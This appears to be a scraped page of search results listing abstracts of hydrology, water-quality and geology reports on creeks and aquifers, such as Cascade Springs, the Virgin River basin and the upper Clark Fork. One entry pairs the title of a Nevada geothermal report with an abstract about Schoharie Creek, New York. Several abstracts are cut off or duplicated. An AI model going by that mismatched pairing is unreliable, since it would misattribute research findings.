Since its introduction, Ceriodaphnia dubia, a small planktonic daphnid, has been widely used for biomonitoring point source discharges. This species was also used to determine nonpoint sources of metals and related contaminants in three trout streams in the west where mining activities have been widespread. Along Chalk Creek, Colo., specific tailings (and impacted tributaries) were sources of metals toxic to fish using the water in a hatchery. At stations below extensive mine tailings in the upper Clark Fork River, Mont., drainage was acutely and chronically toxic to daphnids and paralleled reduced or nonexistent populations of trout. In Whitewood Creek, S. Dak., reduced toxicity below a gold mine portended that fish could live in the stream segment previously impaired by the mine. Toxicity downstream revealed a previously unknown nonpoint source of chromium.

Preliminary assessment of the aquatic impacts of a proposed defense waste processing facility at the Savannah River Plant

DOE Office of Scientific and Technical Information (OSTI.GOV)

Mackey, H.E. Jr.

1979-01-01

A review of the literature indicates that a significant body of descriptive information exists concerning the aquatic ecology of Upper Three Runs Creek and Four Mile Creek of the Savannah River Plant south of Aiken, South Carolina. This information is adequate for preparation of an environmental document evaluating these streams. These streams will be impacted by construction and operation of a proposed Defense Waste Processing Facility for solidification of high level defense waste. Potential impacts include (1) construction runoff, erosion, and siltation, (2) effluents from a chemical and industrial waste treatment facility, and (3) radionuclide releases. In order to bettermore » evaluate potential impacts, recommend mitigation methods, and comply with NEPA requirements, additional quantitative biological information should be obtained through implementation of an aquatic baseline program.« less

Episodic sediment-discharge events in Cascade Springs, southern Black Hills, South Dakota

USGS Publications Warehouse

Hayes, Timothy Scott

1999-01-01

Cascade Springs is a group of artesian springs in the southern Black Hills, South Dakota, with collective flow of about 19.6 cubic feet per second. Beginning on February 28, 1992, a large discharge of red suspended sediment was observed from two of the six known discharge points. Similar events during 1906-07 and 1969 were documented by local residents and newspaper accounts. Mineralogic and grain-size analyses were performed to identify probable subsurface sources of the sediment. Geochemical modeling was performed to evaluate the geochemical evolution of water discharged from Cascade Springs. Interpretations of results provide a perspective on the role of artesian springs in the regional geohydrologic framework. X-ray diffraction mineralogic analyses of the clay fraction of the suspended sediment were compared to analyses of clay-fraction samples taken from nine geologic units at and stratigraphically below the spring-discharge points. Ongoing development of a subsurface breccia pipe(s) in the upper Minnelusa Formation and/or Opeche Shale was identified as a likely source of the suspended sediment; thus, exposed breccia pipes in lower Hell Canyon were examined. Upper Minnelusa Formation breccia pipes in lower Hell Canyon occur in clusters similar to the discrete discharge points of Cascade Springs. Grain-size analyses showed that breccia masses lack clay fractions and have coarser distributions than the wall rocks, which indicates that the red, fine-grained fractions have been carried out as suspended sediment. These findings support the hypothesis that many breccia pipes were formed as throats of abandoned artesian springs. Geochemical modeling was used to test whether geochemical evolution of ground water is consistent with this hypothesis. The evolution of water at Cascade Springs could not be suitably simulated using only upgradient water from the Minnelusa aquifer. A suitable model involved dissolution of anhydrite accompanied by dedolomitization in the upper Minnelusa Formation, which is caused by upward leakage of relatively fresh water from the Madison aquifer. The anhydrite dissolution and dedolomitization account for the net removal of minerals that would lead to breccia pipe formation by gravitational collapse. Breccia pipes in the lower Minnelusa Formation are uncommon; however, networks of interconnected breccia layers and breccia dikes are common. These networks, along with vertical fractures and faults, are likely pathways for transmitting upward leakage from the Madison aquifer. It is concluded that suspended sediment discharged at Cascade Springs probably results from episodic collapse brecciation that is caused by subsurface dissolution of anhydrite beds and cements of the upper Minnelusa Formation, accompanied by replacement of dolomite by calcite. It is further concluded that many breccia pipes probably are the throats of artesian springs that have been abandoned and exposed by erosion. The locations of artesian spring-discharge points probably have been shifting outwards from the center of the Black Hills uplift, essentially keeping pace with regional erosion over geologic time. Thus, artesian springflow probably is a factor in controlling water levels in the Madison and Minnelusa aquifers, with hydraulic head declining over geologic time, in response to development of new discharge points. Development of breccia pipes as throats of artesian springs would greatly enhance vertical hydraulic conductivity in the immediate vicinity of spring-discharge points. Horizontal hydraulic conductivity in the Minnelusa Formation also may be enhanced by dissolution processes related to upward leakage from the Madison aquifer. Potential processes could include dissolution resulting from leakage in the vicinity of breccia pipes that are abandoned spring throats, active spring discharge, development of subsurface breccias with no visible surface expression or spring discharge, as well as general areal leakage

Geohydrology and numerical simulation of groundwater flow in the central Virgin River Basin of Iron and Washington Counties, Utah

USGS Publications Warehouse

Heilweil, V.M.; Freethey, G.W.; Wilkowske, C.D.; Stolp, B.J.; Wilberg, D.E.

2000-01-01

Because rapid growth of communities in Washington and Iron Counties, Utah, is expected to cause an increase in the future demand for water resources, a hydrologic investigation was done to better understand ground-water resources within the central Virgin River basin. This study focused on two of the principal ground-water reservoirs within the basin: the upper Ash Creek basin ground-water system and the Navajo and Kayenta aquifer system.The ground-water system of the upper Ash Creek drainage basin consists of three aquifers: the uppermost Quaternary basin-fill aquifer, the Tertiary alluvial-fan aquifer, and the Tertiary Pine Valley monzonite aquifer. These aquifers are naturally bounded by the Hurricane Fault and by drainage divides. On the basis of measurements, estimates, and numerical simulations of reasonable values for all inflow and outflow components, total water moving through the upper Ash Creek drainage basin ground-water system is estimated to be about 14,000 acre-feet per year. Recharge to the upper Ash Creek drainage basin ground-water system is mostly from infiltration of precipitation and seepage from ephemeral and perennial streams. The primary source of discharge is assumed to be evapotranspiration; however, subsurface discharge near Ash Creek Reservoir also may be important.The character of two of the hydrologic boundaries of the upper Ash Creek drainage basin ground-water system is speculative. The eastern boundary provided by the Hurricane Fault is assumed to be a no-flow boundary, and a substantial part of the ground-water discharge from the system is assumed to be subsurface outflow beneath Ash Creek Reservoir along the southern boundary. However, these assumptions might be incorrect because alternative numerical simulations that used different boundary conditions also proved to be feasible. The hydrogeologic character of the aquifers is uncertain because of limited data. Differences in well yield indicate that there is considerable variability in the transmissivity of the basin-fill aquifer. Field data also indicate that the basin-fill aquifer is more transmissive than the underlying alluvial-fan aquifer. Data from the Pine Valley monzonite aquifer indicate that its transmissivity may be highly variable and that it is strongly influenced by the connection of fractures.The Navajo and Kayenta aquifers provide most of the potable water to the municipalities of Washington County. Because of large outcrop exposures, uniform grain size, and large stratigraphic thickness, these formations are able to receive and store large amounts of water. In addition, structural forces have resulted in extensive fracture zones that enhance ground-water recharge and movement within these aquifers. Aquifer testing of the Navajo aquifer indicates that horizontal hydraulic-conductivity values range from 0.2 to 32 feet per day at different locations and may be primarily dependent on the extent of fracturing. Limited data indicate that the Kayenta aquifer generally is less transmissive than the Navajo aquifer. The aquifers are bounded to the south and west by the erosional extent of the formations and to the east by the Hurricane Fault, which completely offsets these formations and is assumed to be a lateral no-flow boundary. Like the Hurricane Fault, the Gunlock Fault is assumed to be a lateral no-flow boundary that divides the Navajo and Kayenta aquifers within the study area into two parts: the main part, between the Hurricane and Gunlock Faults; and the Gunlock part, west of the Gunlock Fault.Generally, the water in the Navajo and Kayenta aquifers contains few dissolved minerals. However, two distinct areas contain water with dissolved-solids concentrations greater than 500 milligrams per liter: a larger area north of the city of St. George and a smaller area a few miles west of the town of Hurricane. Mass-balance calculations indicate that in the higher-dissolved-solids area north of St. George, as much as 2.7 cubic feet per second may be entering the aquifer from underlying formations. For the area west of Hurricane, as much as 1.5 cubic feet per second may be entering the aquifer from underlying formations.On the basis of measurements, estimates, and numerical simulations, total water moving through the Navajo and Kayenta aquifers is estimated to be about 25,000 acre-feet per year for the main part and 5,000 acre-feet per year for the Gunlock part. The primary source of recharge is assumed to be infiltration of precipitation in the main part and seepage from the Santa Clara River in the Gunlock part. The primary source of discharge is assumed to be well discharge for both the main and Gunlock parts of the aquifers. Numerical simulations indicate that faults with major offset, such as the Washington Hollow Fault and an unnamed fault near Anderson Junction, may impede horizontal ground-water flow. Also, increased horizontal hydraulic conductivity along the orientation of predominant surface fracturing may be an important factor in regional ground-water flow. Simulations with increased north-south hydraulic conductivity substantially improved the match to measured water levels in the central area of the model between Snow Canyon and Mill Creek. Numerical simulation of the Gunlock part, using aquifer properties determined for the city of St. George municipal well field, resulted in a reasonable representation of regional water levels and estimated seepage from and to the Santa Clara River. To further quantify the Gunlock part of the Navajo and Kayenta aquifers, a better understanding of ground-water flow at the Gunlock Fault is needed.

Geohydrology and numerical simulation of ground-water flow in the central Virgin River basin of Iron and Washington Countries, Utah

USGS Publications Warehouse

Heilweil, V.M.; Freethey, G.W.; Wilkowske, C.D.; Stolp, B.J.; Wilberg, D.E.

2000-01-01

Because rapid growth of communities in Washington and Iron Counties, Utah, is expected to cause an increase in the future demand for water resources, a hydrologic investigation was done to better understand ground-water resources within the central Virgin River basin. This study focused on two of the principal ground-water reservoirs within the basin: the upper Ash Creek basin ground-water system and the Navajo and Kayenta aquifer system. The ground-water system of the upper Ash Creek drainage basin consists of three aquifers: the uppermost Quaternary basin-fill aquifer, the Tertiary alluvial-fan aquifer, and the Tertiary Pine Valley monzonite aquifer. These aquifers are naturally bounded by the Hurricane Fault and by drainage divides. On the basis of measurements, estimates, and numerical simulations of reasonable values for all inflow and outflow components, total water moving through the upper Ash Creek drainage basin ground-water system is estimated to be about 14,000 acre-feet per year. Recharge to the upper Ash Creek drainage basin ground-water system is mostly from infiltration of precipitation and seepage from ephemeral and perennial streams. The primary source of discharge is assumed to be evapotranspiration; however, subsurface discharge near Ash Creek Reservoir also may be important. The character of two of the hydrologic boundaries of the upper Ash Creek drainage basin ground-water system is speculative. The eastern boundary provided by the Hurricane Fault is assumed to be a no-flow boundary, and a substantial part of the ground-water discharge from the system is assumed to be subsurface outflow beneath Ash Creek Reservoir along the southern boundary. However, these assumptions might be incorrect because alternative numerical simulations that used different boundary conditions also proved to be feasible. The hydrogeologic character of the aquifers is uncertain because of limited data. Difference in well yield indicate that there is considerable variability in the transmissivity of the basin-fill aquifer. Field data also indicate that the basin-fill aquifer is more transmissive than the underlying alluvial-fan aquifer. Data from the Pine Valley monzonite aquifer indicate that its transmissivity may be highly variable and that it is strongly influenced by the connection of fractures. The Navajo and Kayenta aquifers provide most of the potable water to the municipalities of Washington County. Because of large outcrop exposures, uniform grain size, and large stratigraphic thickness, these formations are able to receive and store large amounts of water. In additional, structural have resulted in extensive fracture zones that enhance ground-water recharge and movement within these aquifers. Aquifer testing of the Navajo aquifer indicates that horizontal hydraulic-conductivity values range from 0.2 to 32 feet per day at different locations and my be primarily dependent on the extent of fracturing. Limited data indicate that the Kayenta aquifer generally is less transmissive than the Navajo aquifer. The aquifers are bounded to the south and west by the erosional extent of the formations and to the east by the Hurricane Fault, which completely offsets these formations and is assumed to be a lateral no-flow boundary. Like the Hurricane Fault, the Gunlock Fault is assumed to be a lateral no-flow boundary that divides the Navajo and Kayenta aquifers within the study area into two parts: the main part, between the Hurricane and Gunlock Faults, and the Gunlock part, west of the Gunlock Fault. Generally, the water in the Vanajo and Kayenta aquifers contains few dissolved minerals. However, two distinct areas contain water with dissolved-solids concentrations greater than 500 milligrams per liter: a larger area north of the city of St. George and a smaller area of a few miles west of the town of Hurricane. Mass-balance calculations indicate that in the higher-dissolved-solids area north of St. George, as much as 2.7 cubic feet per second may be entering the aquifer from underlying formations. For the area west of Hurricane, as much as 1.5 cubic feet per second may be entering the aquifer from underlying formations. On the basis of measurements, estimates, and numerical simulations, total water moving through the Navajo and Kayenta aquifers is estimated to be about 25,000 acre-feet per year for the main part and 5,000 acre-feet per year for the Gunlock part. The primary source of recharge is assumed to be infiltration of precipitation in the main part and seepage from the Santa Clara River in the Gunlock part. The primary source of discharge is assumed to be a well discharge for both the main and Gunlock parts of the aquifers. Numerical simulations indicate that faults with major offset, such as the Washington Hollow Fault and an unnamed fault near Anderson Junction, may impede horizontal ground-water flow. Also, increased horizontal hydraulic conductivity along the orientation of predominant surface fracturing may be important factor in regional ground-water flow. Simulations with increased north-south hydraulic conductivity substantially improved the match to measured water levels in the central area of the model between Snow Canyon and Mill Creek. Numerical simulation of the Gunlock part, using aquifer properties determined for the city of St. George municipal well field, resulted in a reasonable representation of regional water levels and estimated seepage from and to the Santa Clara River. To quantify the Gunlock part of the Navajo and Kayenta aquifers, a better understanding of ground-water flow at the Gunlock Fault is needed.

Geohydrology, aqueous geochemistry, and thermal regime of the Soda Lakes and Upsal Hogback geothermal systems, Churchill County, Nevada

USGS Publications Warehouse

Olmsted, F.H.; Welch, A.H.; Van Denburgh, A.S.; Ingebritsen, S.E.

1984-01-01

A flow-routing model of the upper Schoharie Creek basin, New York, was developed and used to simulate high flows at the inlet of the Blenheim-Gilboa Reservoir. The flows from Schoharie Creek at Prattsville, the primary source of flow data in the basin, and tributary flows from the six minor basins downstream, are combined and routed along the 9.7 mile reach of the Schoharie Creek between Prattsville and the reservoir inlet. Data from five historic floods were used for model calibration and four for verification. The accuracy of the model as measured by the difference between simulated and observed total flow volumes, is within 14 percent. Results indicate that inflows to the Blenheim-Gilboa Reservoir can be predicted approximately 2 hours in advance. One of the historical floods was chosen for additional model testing to assess a hypothetical real-time model application. Total flow-volume errors ranged from 30.2 percent to -9.2 percent. Alternative methods of obtaining hydrologic data for model input are presented for use in the event that standard forms of hydrologic data are unavailable. (USGS)

Analysis of nitrogen cycling in a forest stream during autumn using a 15N-tracer addition

Treesearch

Jennifer L. Tank; Judy L. Meyer; Diane M. Sanzone; Patrick J. Mulholland; Jackson R. Webster; Bruce J. Peterson; Wilfred M. Wollheim; Norman E. Leonard

2000-01-01

We added l5NH4Cl over 6 weeks to Upper Ball Creek, a second-order deciduous forest stream in the Appalachian Mountains, to follow the uptake, spiraling, and fate of nitrogen in a stream food web during autumn. A priori predictions of N flow and retention were made using a simple food web mass balance model. Values of ...

Biological and associated water-quality data for lower Olmos Creek and upper San Antonio River, San Antonio, Texas, March-October 1990

USGS Publications Warehouse

Taylor, R. Lynn

1995-01-01

Depths and velocities, measured at sample points after benthic macroinvertebrate sampling, ranged from 0.03 to 0.30 meter and from 0.06 to 1.2 meters per second, respectively. Measurable stream discharge ranged from 0.01 to 0.27 cubic meter per second. During two of the sampling periods, no flow was at site 1.

Endemic forest disturbances and stand structure of ponderosa pine (Pinus ponderosa) in the Upper Pine Creek Research Natural Area, South Dakota, USA

Treesearch

John E. Lundquist; Jose F. Negron

2000-01-01

Disturbances are natural and essential components of healthy ecosystems, but their ecological roles in the maintenance of endemic conditions for an area (that is, long-established levels of activity that are of low magnitude and relatively static intensity and cause unnoticed or relatively low amounts of tree killing, defoliation, or deformation) are poorly understood...

Big Creek Flood Control Project, Cleveland, Ohio. Phase II. General Design Memorandum. Appendix A. Soils, Geology, and Construction Materials.

DTIC Science & Technology

1979-02-01

maximum thickness of about 4 feet of shale excavation will be required. The upper 1 foot of shale is weathered and easily rippable . A44. From Station...weathered and easily rippable . AS0. From Station 75+60M to 83+50M, maximum excavation in shale is about 3 feet. Most of the excavation in this section will be

Upper Clear Creek watershed aquatic chemistry and biota surveys, 2004-5, Whiskeytown National Recreation Area, Shasta County, California

USGS Publications Warehouse

Wulff, Marissa L.; May, Jason T.; Brown, Larry R.

2012-01-01

The U.S. Geological Survey, in cooperation with the National Park Service and Whiskeytown National Recreation Area, performed a comprehensive aquatic biota survey of the upper Clear Creek watershed, Shasta County, California, during 2004-5. Data collected in this study can provide resource managers with information regarding aquatic resources, watershed degradation, and regional biodiversity within Whiskeytown National Recreation Area. Surveys of water chemistry, bed-sediment chemistry, algae assemblages, benthic macroinvertebrate assemblages, aquatic vertebrate assemblages, in-stream habitat characteristics, and sediment heterogeneity were conducted at 17 stream sites during both 2004 and 2005, with an additional 4 sites surveyed in 2005. A total of 67 bed-sediment samples were analyzed for major and trace inorganic element concentrations. Forty-six water samples were analyzed for trace metals and nutrients. A total of 224 taxa of invertebrates were collected during these surveys. Eleven fish species, seven of which were native, and two species of larval amphibians, were collected. A total of 24 genera of soft algae and 159 taxa of diatoms were identified. To date, this survey represents the most comprehensive inventory of aquatic resources within Whiskeytown National Recreation Area, and this information can serve as a baseline for future monitoring efforts and to inform management decisions.

Evaluation of future base-flow water-quality conditions in the Hillsborough River, Florida

USGS Publications Warehouse

Fernandez, Mario; Goetz, C.L.; Miller, J.E.

1984-01-01

A one-dimensional, steady-state, water-quality model was developed for a 30.0 mile reach of the Hillsborough River to evaluate water-quality conditions to be expected from future development. The model was calibrated and verified using data collected under critical base-flow conditions in April and December 1978. Dissolved organic nitrogen, nitrate nitrogen, and total and fecal coliforms were modeled for most of the study reach. Model results were used to evaluate the impacts of two typical housing developments on water-quality conditions in Tampa Reservoir. One development is located in the Cypress Creek basin and the other near the upper end of the study reach. Model results show development in the Hillsborough River basin may cause increased total and fecal coliform conditions. Simulated total coliforms at the Tampa water treatment plant for 1-, 3-, and 5-square-mile developments located in the Cypress Creek basin were 3,000, 5,400, and 8,300 colonies per 100 milliliters. Similar developments, however, located near the upper end of the study reach were 2,000, 3,600, and 5,100 colonies per 100 milliliters. Simulated fecal coliforms were 360, 700, and 100 and 180, 350, and 510 colonies per 100 milliliters, respectively. Other constituents modeled showed only minor increases in concentrations. (USGS)

Hydrogeology of the interstream area between Ty Ty Creek and Ty Ty Creek tributary near Plains, Georgia

USGS Publications Warehouse

Stewart, Lisa M.; Hicks, David W.

1996-01-01

This report is part of an interdisciplinary effort to identify and describe processes that control movement and fate of selected fertilizers and pesticides in the surface and subsurface environments in the Fall Line Hills district of the Georgia Coastal Plain physiographic province. This report describes the hydrogeology of the interstream area between Ty Ty Creek and it's tributary near Plains, Sumter County, Georgia. Geologic units of interest to this study are, in ascending order, (1) the Tuscahoma Formation, a bluish gray, silty clay; (2) the Tallahatta Formation, a fine-to-coarse, poorly sorted quartz sand that is divided into an upper and lower unit; and (3) the undifferentiated overburden, which consists of fine to medium poorly sorted sand, silt and clay. Continuous-core samples indicate that the unsaturated zone includes the undifferentiated overburden and the upper unit of the Tallahatta Formation, and attains a maximum thickness of about 52 feet (ft) in the southern part of the study area. The Claiborne aquifer in the study area consists of the lower unit of the Tallahatta Formation and ranges in thickness from 3 ft near Ty Ty Creek tributary to about 20 ft in the upland divide area. It is confined below by the clayey sediments of the Tuscahoma Formation. The Claiborne aquifer in the study area generally is confined above by an extensive clay layer that is the base if the upper unit of the Tallahatta Formation. Fluctuations in the amount of vertical recharge to the aquifer result in areal and temporal changes in aquifer conditions from confined to unconfined in parts of the study area. Hydraulic conductivity of the aquifer ranges from 3.5 to 7 feet per day. The transmissivity of the aquifer is approximately 50 feet squared per day. Water-level data indicate the potentiometric surface slopes to the south, southeast, and southwest with a gradient of about 87 to 167 feet per mile. The shape of the potentiometric surface and the direction of groundwater flow remains relatively unchanged during high and low water-level periods. Water levels in the Claiborne aquifer fluctuated by a maximum of 6 ft during the period from January to December 1991. Recharge to the Claiborne aquifer consists of a local and regional flow component. Lateral ground-water flow (regional flow) into the study area is dependent on regional hydraulic controls (pumpage, stream discharge, and rainfall). The rate of lateral movement of ground water is dependent on the hydraulic conductivity of the saturated zone, the hydraulic gradient, and other hydraulic factors, and is considered to be relatively constant. Local recharge enters the ground-water system as rainfall that percolates down to the water table. Annual water-level fluctuations in the Claiborne aquifer indicate that the majority of regional and local recharge occurs in the interstream area with recharge decreasing downslope to the streams. Ground water discharges to Ty Ty Creek and it's tributary throughout the year during low and high water-level periods.

Water-quality trends for selected sampling sites in the upper Clark Fork Basin, Montana, water years 1996-2010

USGS Publications Warehouse

Sando, Steven K.; Vecchia, Aldo V.; Lorenz, David L.; Barnhart, Elliott P.

2014-01-01

A large-scale trend analysis was done on specific conductance, selected trace elements (arsenic, cadmium, copper, iron, lead, manganese, and zinc), and suspended-sediment data for 22 sites in the upper Clark Fork Basin for water years 1996–2010. Trend analysis was conducted by using two parametric methods: a time-series model (TSM) and multiple linear regression on time, streamflow, and season (MLR). Trend results for 1996–2010 indicate moderate to large decreases in flow-adjusted concentrations (FACs) and loads of copper (and other metallic elements) and suspended sediment in Silver Bow Creek upstream from Warm Springs. Deposition of metallic elements and suspended sediment within Warm Springs Ponds substantially reduces the downstream transport of those constituents. However, mobilization of copper and suspended sediment from floodplain tailings and stream banks in the Clark Fork reach from Galen to Deer Lodge is a large source of metallic elements and suspended sediment, which also affects downstream transport of those constituents. Copper and suspended-sediment loads mobilized from within this reach accounted for about 40 and 20 percent, respectively, of the loads for Clark Fork at Turah Bridge (site 20); whereas, streamflow contributed from within this reach only accounted for about 8 percent of the streamflow at Turah Bridge. Minor changes in FACs and loads of copper and suspended sediment are indicated for this reach during 1996–2010. Clark Fork reaches downstream from Deer Lodge are relatively smaller sources of metallic elements than the reach from Galen to Deer Lodge. In general, small decreases in loads and FACs of copper and suspended sediment are indicated for Clark Fork sites downstream from Deer Lodge during 1996–2010. Thus, although large decreases in FACs and loads of copper and suspended sediment are indicated for Silver Bow Creek upstream from Warm Springs, those large decreases are not translated to the more downstream reaches largely because of temporal stationarity in constituent transport relations in the Clark Fork reach from Galen to Deer Lodge. Unlike metallic elements, arsenic (a metalloid element) in streams in the upper Clark Fork Basin typically is mostly in dissolved phase, has less variability in concentrations, and has weaker direct relations with suspended-sediment concentrations and streamflow. Arsenic trend results for 1996–2010 indicate generally moderate decreases in FACs and loads in Silver Bow Creek upstream from Opportunity. In general, small temporal changes in loads and FACs of arsenic are indicated for Silver Bow Creek and Clark Fork reaches downstream from Opportunity during 1996–2010. Contribution of arsenic (from Warm Springs Ponds, the Mill-Willow bypass, and groundwater sources) in the Silver Bow Creek reach from Opportunity to Warm Springs is a relatively large source of arsenic. Arsenic loads originating from within this reach accounted for about 11 percent of the load for Clark Fork at Turah Bridge; whereas, streamflow contributed from within this reach only accounted for about 2 percent of the streamflow at Turah Bridge.

Geology of the Blue Mountains region of Oregon, Idaho, and Washington; stratigraphy, physiography, and mineral resources of the Blue Mountains region

USGS Publications Warehouse

Vallier, T. L.; Brooks, H.C.

1994-01-01

PART 1: Stratigraphic and sedimentological analysis of sedimentary sequences from the Wallowa terrane of northeastern Oregon has provided a unique insight into the paleogeography and depositional history of the terrane, as well as establishing important constraints on its tectonic evolution and accretionary history. Its Late Triassic history is considered here by examining the two most important sedimentary units in the Wallowa terrane-the Martin Bridge Limestone and the Hurwal Formation. Conformably overlying epiclastic volcanic rocks of the Seven Devils Group, the Martin Bridge Limestone comprises shallow-water platform carbonate rocks and deeper water, off-platform slope and basin facies. Regional stratigraphic and tectonic relations suggest that the Martin Bridge was deposited in a narrow, carbonate-dominated (forearc?) basin during a lull in volcanic activity. The northern Wallowa platform was a narrow, rimmed shelf delineated by carbonate sand shoals. Interior parts of the shelf were characterized by supratidal to shallow subtidal carbonates and evaporites, which were deposited in a restricted basin. In the southern Wallowa Mountains, lithofacies of the Martin Bridge are primarily carbonate turbidites and debris flow deposits, which accumulated on a carbonate slope apron adjacent to the northern Wallowa rimmed shelf from which they were derived. Drowning of the platform in the latest Triassic, coupled with a renewed influx of volcanically derived sediments, resulted in the progradation of fine-grained turbidites of the Hurwal Formation over the carbonate platform. Within the Hurwal, Norian conglomerates of the Excelsior Gulch unit contain exotic clasts of radiolarian chert, which were probably derived from the Bakei terrane. Such a provenance provides evidence of a tectonic link between the Baker and Wallowa terranes as early as the Late Triassic, and offers support for the theory that both terranes were part of a more extensive and complex Blue Mountains island-arc terrane. PART 2: Mesozoic rocks exposed along the Snake River in the northern Wallowa terrane represent a volcanic island and its associated sedimentary basins within the Blue Mountains island arc of Washington, Oregon, and Idaho. In the northern part of the Wallowa terrane, rock units include the Wild Sheep Creek, Doyle Creek, and Coon Hollow Formations, the (informal) Imnaha intrusion, and the (informal) Dry Creek stock. The volcanic rocks of the Ladinian to Karnian Wild Sheep Creek Formation show two stages of evolution-an early dacitic phase Gower volcanic faciesY and a late mafic phase (upper volcanic facies). The two volcanic facies are separated by eruption-generated turbidites of siliceous argillites and arkosic arenites (argillitesandstone facies). The two magmatic phases of the Wild Sheep Creek Formation may be recorded by the compositional zoning from older quartz diorite and diorite to younger gabbro in the Imnaha intrusion. Although the Late Triassic Imnaha intrusion is in fault contact with the Wild Sheep Creek Formation, it may be a subduction-related pluton and was the likely magma source for the Wild Sheep Creek Formation. Interbedded with the upper volcanic facies are eruption-generated turbidite and debris flow deposits (sandstone-breccia facies) and thick carbonate units (limestone facies). The limestone facies consists of two marker units, which may represent carbonate platform environments. Clast imbrication, fossil orientation, and cross-stratification in the Wild Sheep Creek Formation indicate a shoaling to subaerial volcanic island to the south and southeast; sediment was transported to the north and northwest. The Karnian Doyle Creek Formation consists largely of epiclastic conglomerate, sandstone, and shale that were deposited in welloxygenated basins. Vitric tuffs interbedded with these sediments suggest shallow or subaerial pyroclastic eruptions. Quartz diorite clasts in this formation may indicate uplift

Water-quality assessment of the Cypress Creek watershed, Warrick County, Indiana

USGS Publications Warehouse

Bobo, Linda L.; Peters, Charles A.

1980-01-01

The U.S. Soil Conservation Service needs chemical, biological, microbiological, and hydrological data to prepare an environmental evaluation of the water quality in the Cypress Creek watershed, Warrick County, Ind., before plans can be devised to (1) improve water quality, (2) minimize flooding, (3) reduce sedimentation, and (4) provide adequate outlets for drainage in the watershed. The U.S. Geological Survey obtained these data for the Soil Conservation Service in a water-quality survey of the watershed from March to August 1979. Past and present surface coal mining is the factor having the greatest impact on water quality in the watershed. The upper reaches of Cypress Creek receive acid-mine drainage from a coal-mine waste slurry during periods of intense rainfall. All the remaining tributaries, except Summer Pecka ditch, drain mined or reclaimed lands. The general water type of Cypress Creek and most of its tributaries is calcium and magnesium sulfate. In contrast, the water type at background site 21 on Summer Pecka ditch is calcium sulfate. Specific conductance ranged from 470 to 4,730 micromhos per centimeter at 25 degrees Celsius, and pH ranged from 1.2 to 8.8. Specific conductance, hardness, and concentrations of major ions and dissolved solids were highest in tributaries affected by mining. The pH was lowest in the same tributaries. Concentrations of iron, manganese, and sulfate in water samples and chlordane, DDT, and PCB 's in streambed samples exceeded water-quality limits set by the U.S. Environmental Protection Agency. (USGS)

Spatial and seasonal variations of fish assemblages in mangrove creek systems in Zanzibar (Tanzania)

NASA Astrophysics Data System (ADS)

Mwandya, Augustine W.; Gullström, Martin; Andersson, Mathias H.; Öhman, Marcus C.; Mgaya, Yunus D.; Bryceson, Ian

2010-11-01

Spatial and seasonal variations of fish assemblage composition were studied in three non-estuarine mangrove creeks of Zanzibar (Tanzania). Fish were collected monthly for one year at three sites (lower, intermediate and upper reaches) in each creek using a seine net (each haul covering 170 m 2). Density, species number and diversity of fish were all higher at sites with dense cover of macrophytes (seagrass and macroalgae) than over unvegetated sandy sites. In general, fish assemblages mainly comprised juveniles of a few abundant taxa, e.g. Mugil cephalus, Mugilidae spp. and Leiognathus equulus at sites with mud substratum and Gerres oyena, Lethrinus harak and Sillago sihama at sites dominated by macrophytes. Multivariate analyses revealed significant separations in fish assemblage composition within the two creeks where the bottom substratum differed among sites. Overall, season seemed to have little effect on density, species number, diversity index ( H') and assemblage structure of fish. Water condition variables were also relatively stable across the season, although a short-term fluctuation primarily induced by decreased salinity, occurred during the heavy rains in April and May. Fish assemblage structure was not significantly affected by any of the abiotic factors tested. However, significant regressions were found between the other fish variables and environmental variables, but since these associations were mostly species-specific and generally inconsistent, we suggest that the overall distribution patterns of fish were mainly an effect of particular substrate preferences of fish species rather than contemporary water conditions.

Evidence for Milankovitch periodicities in Cenomanian-Turonian lithologic and geochemical cycles, western interior U.S.A.

USGS Publications Warehouse

Sageman, B.B.; Rich, J.; Arthur, M.A.; Birchfield, G.E.; Dean, W.E.

1997-01-01

The limestone/marlstone bedding couplets of the Bridge Creek Limestone Member, Cenomanian-Turonian Greenhorn Formation, were analyzed by applying spectral techniques to high-resolution lithologic and geochemical data from a core. The results suggest that the Bridge Creek contains a complex record of orbital cyclicity. The dominant signal appears to be obliquity, but signals corresponding to precession and eccentricity were also observed. The development of the bedding couplets is interpreted to have resulted from a combination of factors, including insolation-controlled changes in higher-latitude precipitation leading to dilution/redox cycles, and in lower-latitude evaporation, leading to changes in surface water conditions and productivity cycles in the calcareous plankton. The data interpreted to reflect redox cycles appear to be more strongly influenced by obliquity, and show a weak precessional signal. In contrast, trends in the carbonate record show the opposite response. The complex bedding pattern observed in the Bridge Creek Limestone is interpreted to result from the competing influences of different orbital cycles expressed through different pathways of the depositional system, and was also affected by changes in sedimentation rates related to relative sea level fluctuations, aperiodic dilution by volcanic ash, and changes in organic-matter production and redox conditions related to a global "oceanic anoxic event". These factors complicate cycle analysis in the lower part of the member but leave a relatively undisturbed record in the upper Bridge Creek Limestone. Copyright ?? 1997, SEPM (Society for Sedimentary Geology).

Ground-water resources and potential hydrologic effects of surface coal mining in the northern Powder River basin, southeastern Montana

USGS Publications Warehouse

Slagle, Steven E.; Lewis, Barney D.; Lee, Roger W.

1985-01-01

The shallow ground-water system in the northern Powder River Basin consists of Upper Cretaceous to Holocene aquifers overlying the Bearpaw Shale--namely, the Fox Hills Sandstone; Hell Creek, Fort Union, and Wasatch Formations; terrace deposits; and alluvium. Ground-water flow above the Bearpaw Shale can be divided into two general flow patterns. An upper flow pattern occurs in aquifers at depths of less than about 200 feet and occurs primarily as localized flow controlled by the surface topography. A lower flow pattern occurs in aquifers at depths from about 200 to 1,200 feet and exhibits a more regional flow, which is generally northward toward the Yellowstone River with significant flow toward the Powder and Tongue Rivers. The chemical quality of water in the shallow ground-water system in the study area varies widely, and most of the ground water does not meet standards for dissolved constituents in public drinking water established by the U.S. Environmental Protection Agency. Water from depths less than 200 feet generally is a sodium sulfate type having an average dissolved-solids concentration of 2,100 milligrams per liter. Sodium bicarbonate water having an average dissolved-solids concentration of 1,400 milligrams per liter is typical from aquifers in the shallow ground-water system at depths between 200 and 1,200 feet. Effects of surface coal mining on the water resources in the northern Powder River Basin are dependent on the stratigraphic location of the mine cut. Where the cut lies above the water-yielding zone, the effects will be minimal. Where the mine cut intersects a water-ielding zone, effects on water levels and flow patterns can be significant locally, but water levels and flow patterns will return to approximate premining conditions after mining ceases. Ground water in and near active and former mines may become more mineralized, owing to the placement of spoil material from the reducing zone in the unsaturated zone where the minerals are subject to oxidation. Regional effects probably will be small because of the limited areal extent of ground-water flow systems where mining is feasible. Results of digital models are presented to illustrate the effects of varying hydraulic properties on 